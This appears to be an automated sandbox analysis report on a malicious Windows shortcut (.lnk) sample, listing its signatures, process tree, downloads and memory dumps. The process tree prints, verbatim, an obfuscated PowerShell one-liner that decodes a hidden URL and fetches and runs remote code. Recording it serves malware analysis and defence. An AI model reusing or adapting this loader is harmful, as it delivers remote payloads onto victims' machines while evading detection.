Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 18:19

General

  • Target
    IMG_277753622406.lnk
  • Size 2KB
  • Sample260808-wyafvasere
  • SHA256 d027eeed589caf9ee7a152835c717622f78abb374c94b98682c1db3e1c0424ce
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_277753622406.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$kvg_tv=41;$swuhihy9=[bigint]::Parse('5510151435960582112917041378516910741036');$hh198=[bigint]::Parse('5510153753019529214994541713035420600207');$hh198-=$swuhihy9;$iuv5fokx2=@();while($hh198 -gt 0){$iuv5fokx2+=[char][int]([bigint]::Remainder($hh198,256));$hh198=[bigint]::Divide($hh198,256)};.(([type]([string]::Concat('System.Management.Automation.','Script','Block')))::Create((&([string]::Concat('Invoke-','Rest','Method')) (-join$iuv5fokx2))))"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1848

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_rlzwupzr.o1k.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rlzwupzr.o1k.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1848-3-0x0000019D73270000-0x0000019D73280000-memory.dmp

        memory/1848-2-0x0000019D73270000-0x0000019D73280000-memory.dmp

        memory/1848-4-0x0000019D730A0000-0x0000019D730C2000-memory.dmp

        memory/1848-12-0x0000019D73270000-0x0000019D73280000-memory.dmp

        memory/1848-13-0x0000019D74040000-0x0000019D74202000-memory.dmp

        memory/1848-14-0x0000019D73240000-0x0000019D7326A000-memory.dmp

        memory/1848-15-0x0000019D73240000-0x0000019D73264000-memory.dmp

        memory/1848-16-0x0000019D73270000-0x0000019D73280000-memory.dmp

        memory/1848-17-0x0000019D74740000-0x0000019D74C68000-memory.dmp